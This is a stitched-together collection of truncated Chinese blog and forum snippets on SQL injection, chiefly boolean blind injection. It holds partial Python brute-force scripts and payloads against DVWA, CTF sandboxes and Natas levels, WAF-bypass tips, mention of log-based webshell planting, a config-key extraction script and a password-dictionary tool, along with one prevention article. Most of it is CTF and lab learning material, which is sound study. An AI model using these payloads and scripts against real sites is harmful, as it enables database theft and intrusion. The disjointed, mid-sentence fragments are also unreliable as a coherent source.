import requests import os #此函数先判断数据库长度 def length(url,str): num = 1 while True: str_num = '%d' %num len_url = url + "' and (select length(database()) = " + str_num +")--+" response = requests.get(len_url) if str in response.text: print

仅供学习代码参考 1#python dvwa布尔盲注自动化脚本 2 import requests 3 import string 4 import time 5 INIT_URL="http://127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/sqli_blind/index.php?id=" 6 token={"security":"low","PHPSESSID":&q

布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" def inject_database(url): name = '' for i in range(1,100000): low = 32 high = 128 mid = (low + high) // 2 while low < high: payload = "if(ascii(sub

参考文章:https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247490388&idx=1&sn=c677837d7427bfd6ef65c57c243c3858&chksm=e89e338cdfe9ba9af773822e0850a429d54aff8ec3a21ac5995c4ba4ff8a123db04f6fa254e5&mpshare=1&scene=23&srcid=0731umT

本文转自:i春秋论坛       前言: 最近在学python,做了个盲注的简单的跑用户的脚本,仅做个记录. sqmap也有不灵的时候,有时需要根据情况自写脚本探测 正文: 本地用大表姐给的sql和php文件搭建了个布尔盲注的靶机 另外感谢大表姐的指导. 稍作解释: 注入语句里用%s占位,等待在for循里面依次判断长度 [AppleScript] 纯文本查看 复制代码 l = "' and length(user())=%s and '1'='1" requests获取页面执行返回,f

1.没做防御的站点,拿上sqlmap直接怼就行了. 2.做了防御,有的用函数过滤了,有的用了waf(比如安全狗,云锁,华为云waf,360waf,知道创宇盾,护卫神等等) 这些就相当麻烦了,首先要探测出过滤了什么,再去构造sql语句,在本地测试通过后,再一点点完善,最后再去测试目标 举个例子,一个站点过滤了逗号,和单引号,且数据库编码不是GB系列的,这种就不太好操作,个人手工测试,可以猜解出user(),database(),version()这些,但是完全手工也很麻烦,虽然能拿到,但是相当累.

[CISCN2019 总决赛 Day2 Web1]Easyweb 考察: robots.txt image.php?bak文件泄露,image.php.bak可以下载别的不大行 盲注 php日志挂马 <?=可以绕过检测 初步工作 进入8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/robots.txt Disallow: *.php.bak 对暴露的php文件进行测试, user.php,image.php.bak image.php.ba

当时做这题的时候,写了脚本,用的if(mid())<>来爆破的,可能因为写脚本不擅长,写的太乱了,直接把payload写进mid里,整个一堆,然后括号对着WP看的时候,少了好几个括号,导致爆破失败,真的臭FIVE.首先来复现一遍把 一般都是习惯性查看源代码, . 其实就是过滤了一些函数和and,=等  ,这些被过滤的话,而且对应着 我一开始想到的就是bool盲注,用if(0,1,2),if(1,1,2)测试过.然后一般是有两种尝试方式,一种是ascii+substr或者if+mid.我一开始就

盲注查询 盲注其实就是没有回显,不能直观地得到结果来调整注入数据,只能通过其他方式来得到是否注入成功,主要是利用了一些数据库内置函数来达到的 布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales 其实登录处的注入就是布尔型的,万能密码就是构造一个永真的查询,比如下面的 select user from test where passwd=‘{injuct}’: #构造永真,即令where的条件用于为真 select user from test whe

来源:http://www.cnblogs.com/cheatlove/articles/384233.html SQL注入攻击: (1) 脚本注入式的攻击(2) 恶意用户输入用来影响被执行的SQL脚本 风险: 风险方面,SQL注入攻击是位居前列的,与缓冲区溢出等漏洞基本相当.而且如果要实施缓冲区溢出攻击,攻击者必须首先能绕过站点的防火墙:而对于SQL注 入攻击,由于防火墙为了使用户能访问网络应用程序,必须允许从Internet到Web服务器的正向连接,因此一旦网络应用程序有注入漏洞,攻击者就可

#coding=utf-8 import requests import re import sys import time #获取config_safe.php中的 key def getKey(url,headers,local_url): try: url_key = url + "/config/config_safe.php" rsp = requests.get(url_key,headers) p = re.compile(r'<\?php\/\*(.*)\*\/\

盲注脚本 # -*- coding:utf-8 -*- import requests import re url = "http://123.206.87.240:8002/chengjidan/index.php" #if(prep1,prep2,prep3) 若表达式prep1为真,则返回prep2,若prep1为假,则返回prep3 base_payload = "1' and if(ascii(substr({data},{len},1))>{number},

SQL注入往往是在程序员编写包含用户输入的动态数据库查询时产生的,但其实防范SQL注入的方法非常简单.程序员只要a)不再写动态查询,或b)防止用户输入包含能够破坏查询逻辑的恶意SQL语句,就能够防范SQL注入.在这篇文章中,我们将会说明一些非常简单的防止SQL注入的方法. 我们用以下Java代码作为示例, String query =＂SELECT account_balance FROM user_data WHERE user_name =＂ + request.getParameter(＂

pydictor,强大的密码生成工具,可以合并密码字典,词频统计,去重,枚举数字字典生成字典python3 pydictor.py -base d --len 4 4 生成纯数字4位密码python3 pydictor.py -base L --len 1 4 -o name.txt 生成1-4位纯字母字典,长度为1-4位,输出名字文件为 name.txtpython3 pydictor.py -extend F:\工具\pydictor\ex.txt --level 3 --len 3 10

0x01 前言 已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文. 0x02 环境 Web: phpstudySystem: Windows 10 X64Browser: Firefox QuantumPython version : 2.7Tools: JetBrains PhpStorm 2018.1.6 x64.Seay代码审计工具 搭建这个程序也挺简单的,也是一步到位. 0x03 漏洞复现 首先在程序的后台添加一条数据 执行我

作者:__LSA__ 0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲注系列的第一篇,介绍盲注中的报错注入. 0×01 报错注入原理 其实报错注入有很多种,本文主要介绍几种常见的报错方法,有新姿势后续再更新. 1. Duplicate entry报错: 一句话概括就是多次查询插入重复键值导致count报错从而在报错信息中带入了敏感信息. 关键是查询时会建立临时表存储数

也可用bp进行爆破,这里用py脚本. 打看网页输入1,显示You are in,输入2,显示You are not in,是个布尔注入. 然后看看过滤了什么. sql注入没有过滤:--+.or sql注入过滤:union select.and.order by.空格 虽然or没有被当做sql注入处理,但是构造id=1'/**/or/**/1'='1--+时仍然是返回,You are not in. 所以应该是,or仍然被过滤,只是没有被当做sql注入,于是利用oorr来绕过. 下面给出爆破脚本:

Natas17: 源码如下 /* CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL ); */ if(array_key_exists("username", $_REQUEST)) { $link = mysql_connect('localhost', 'natas17', '<censored>'); mysql_select_

Natas15: 源码如下 /* CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL ); */ if(array_key_exists("username", $_REQUEST)) { $link = mysql_connect('localhost', 'natas15', '<censored>'); mysql_select_

import requests import string #mysql 手动注入 通用脚本 适用盲注 可以跟具自己的需求更改 def home(): url="url" list=string.digits+string.letters+"!@#$%^&*()_+{}-=<>,./?" s=requests.session() success = "" # 成功返回的特征 error="" #失败返回的体